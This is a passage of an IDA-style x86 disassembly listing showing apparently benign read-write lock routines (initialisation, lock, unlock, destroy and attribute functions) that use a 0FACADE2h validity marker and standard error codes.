		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BE0	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431BF2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431BE0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431C12
		cmp	dword ptr [eax], 0
		jz	short loc_431C12
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C12:				; CODE XREF: sub_431BE0+1Aj
					; sub_431BE0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431C36
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C36:				; CODE XREF: sub_431BE0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C94
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C8B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431CAC
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431C8B:				; CODE XREF: sub_431BE0+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431C94:				; CODE XREF: sub_431BE0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CAC:				; CODE XREF: sub_431BE0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431BE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D10:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431E4B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431E4B
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E07
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431E4B
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431D79
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431D79:				; CODE XREF: ___:00431D67j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431DED
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431DED
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431DB0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:00431D9Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431DED:				; CODE XREF: ___:00431D7Ej
					; ___:00431D88j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431E07:				; CODE XREF: ___:00431D33j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431E23
		mov	dword ptr [eax], 0
		jmp	short loc_431E28
; ---------------------------------------------------------------------------


loc_431E23:				; CODE XREF: ___:00431E19j
		mov	ebx, 10h


loc_431E28:				; CODE XREF: ___:00431E21j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh


loc_431E33:				; CODE XREF: ___:00431DEBj
					; ___:00431E05j
		test	ebx, ebx
		jz	short loc_431E3E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E3E:				; CODE XREF: ___:00431E35j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431E50
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E4B:				; CODE XREF: ___:00431D20j
					; ___:00431D2Aj ...
		mov	eax, 16h


loc_431E50:				; CODE XREF: ___:00431D51j
					; ___:00431DBAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431EC0:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_431EE3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431EE3:				; CODE XREF: ___:00431ED2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F10:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431F31
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431F31
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431F31:				; CODE XREF: ___:00431F19j
					; ___:00431F1Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431F6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431F6D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431F6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431F6D:				; CODE XREF: ___:00431F56j
					; ___:00431F5Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F90:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FBA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431FBA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431FAE
		test	eax, eax
		jnz	short loc_431FBA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431FAE:				; CODE XREF: ___:00431FA5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431FBA:				; CODE XREF: ___:00431F96j
					; ___:00431F9Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FD0:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43208A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43208A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432004
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432004
		cmp	eax, 10h
		jnz	loc_43208F


loc_432004:				; CODE XREF: ___:00431FECj
					; ___:00431FF9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43208A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43208F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43207D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43204D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43204D:				; CODE XREF: ___:0043203Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43207D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43207D:				; CODE XREF: ___:0043202Aj
					; ___:0043206Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43208A:				; CODE XREF: ___:00431FD9j
					; ___:00431FE3j ...
		mov	eax, 16h


loc_43208F:				; CODE XREF: ___:00431FFEj
					; ___:0043201Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4321AF
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4321AF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432114
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432114
		cmp	eax, 10h
		jnz	loc_4321B4


loc_432114:				; CODE XREF: ___:004320FCj
					; ___:00432109j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4321AF
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_4321B4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4321A2
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432172
		cmp	ebx, 274Ch
		jnz	short loc_432163
		inc	dword ptr [esi+14h]


loc_432163:				; CODE XREF: ___:0043215Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: ___:00432156j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4321A2
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321A2:				; CODE XREF: ___:00432143j
					; ___:00432191j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321AF:				; CODE XREF: ___:004320E9j
					; ___:004320F3j ...
		mov	eax, 16h


loc_4321B4:				; CODE XREF: ___:0043210Ej
					; ___:00432133j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4322F6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4322F6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432237
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432237
		cmp	eax, 10h
		jnz	loc_4322FB


loc_432237:				; CODE XREF: ___:0043221Fj
					; ___:0043222Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4322F6
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_4322FB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43227B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43227B:				; CODE XREF: ___:00432267j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4322EA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432298
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432298:				; CODE XREF: ___:00432287j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4322EA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4322BB:				; CODE XREF: ___:004322D0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4322D2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4322BB


loc_4322D2:				; CODE XREF: ___:004322C9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4322ED
		mov	[esi+0Ch], edi


loc_4322EA:				; CODE XREF: ___:00432280j
					; ___:0043229Dj
		inc	dword ptr [esi+10h]


loc_4322ED:				; CODE XREF: ___:004322E5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4322F6:				; CODE XREF: ___:0043220Cj
					; ___:00432216j ...
		mov	eax, 16h


loc_4322FB:				; CODE XREF: ___:00432231j
					; ___:00432251j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432360:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432461
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432461
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432397
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432397
		cmp	eax, 10h
		jnz	loc_432466


loc_432397:				; CODE XREF: ___:0043237Fj
					; ___:0043238Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432461
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432466
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4323E1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4323E1:				; CODE XREF: ___:004323CDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432455
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4323FE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4323FE:				; CODE XREF: ___:004323EDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432455
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_432421:				; CODE XREF: ___:0043243Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43243D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_432421


loc_43243D:				; CODE XREF: ___:00432434j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_432458
		mov	[esi+0Ch], edi


loc_432455:				; CODE XREF: ___:004323E6j
					; ___:00432403j
		inc	dword ptr [esi+10h]


loc_432458:				; CODE XREF: ___:00432450j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: ___:0043236Cj
					; ___:00432376j ...
		mov	eax, 16h


loc_432466:				; CODE XREF: ___:00432391j
					; ___:004323B6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4324C0:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_432546
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_432546
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4324DC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4324DC:				; CODE XREF: ___:004324D4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_432546
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432524
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432502
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432502:				; CODE XREF: ___:004324FCj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_432519
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_432519:				; CODE XREF: ___:00432509j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43253C
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: ___:004324EAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43253C:				; CODE XREF: ___:00432522j
		test	edi, edi
		jz	short loc_43254B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432546:				; CODE XREF: ___:004324C9j
					; ___:004324CFj ...
		mov	eax, 16h


loc_43254B:				; CODE XREF: ___:0043253Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432580:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43263A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43263A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4325B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4325B4
		cmp	eax, 10h
		jnz	loc_43263F


loc_4325B4:				; CODE XREF: ___:0043259Cj
					; ___:004325A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43263A
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_43263F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43262D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4325FD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325FD:				; CODE XREF: ___:004325ECj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43262D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43262D:				; CODE XREF: ___:004325DAj
					; ___:0043261Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43263A:				; CODE XREF: ___:00432589j
					; ___:00432593j ...
		mov	eax, 16h


loc_43263F:				; CODE XREF: ___:004325AEj
					; ___:004325CAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432690:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432771
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432771
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4326C4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4326C4
		cmp	eax, 10h
		jnz	loc_432776


loc_4326C4:				; CODE XREF: ___:004326ACj
					; ___:004326B9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432771
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432776
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432709
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432776
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432709:				; CODE XREF: ___:004326F4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432759
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432726
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432726:				; CODE XREF: ___:00432715j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432764
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_43274B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43274B:				; CODE XREF: ___:0043273Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43275E


loc_432759:				; CODE XREF: ___:0043270Ej
		mov	edi, 10h


loc_43275E:				; CODE XREF: ___:00432757j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432764:				; CODE XREF: ___:0043272Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432771:				; CODE XREF: ___:00432699j
					; ___:004326A3j ...
		mov	eax, 16h


loc_432776:				; CODE XREF: ___:004326BEj
					; ___:004326DEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4327D7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_4327D7:				; CODE XREF: ___:004327CFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432800:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432827
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_432827
		cmp	eax, 2
		jbe	short loc_432827
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432827:				; CODE XREF: ___:0043280Fj
					; ___:00432817j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432840:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432886
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432886
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432886
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432886
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432886:				; CODE XREF: ___:00432852j
					; ___:0043285Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328B0:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328D5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4328D5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328D5:				; CODE XREF: ___:004328C0j
					; ___:004328C8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328F0:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432909
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432909:				; CODE XREF: ___:00432900j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_43291D
		cmp	eax, 1
		jz	short loc_43291D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43291D:				; CODE XREF: ___:0043290Fj
					; ___:00432914j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


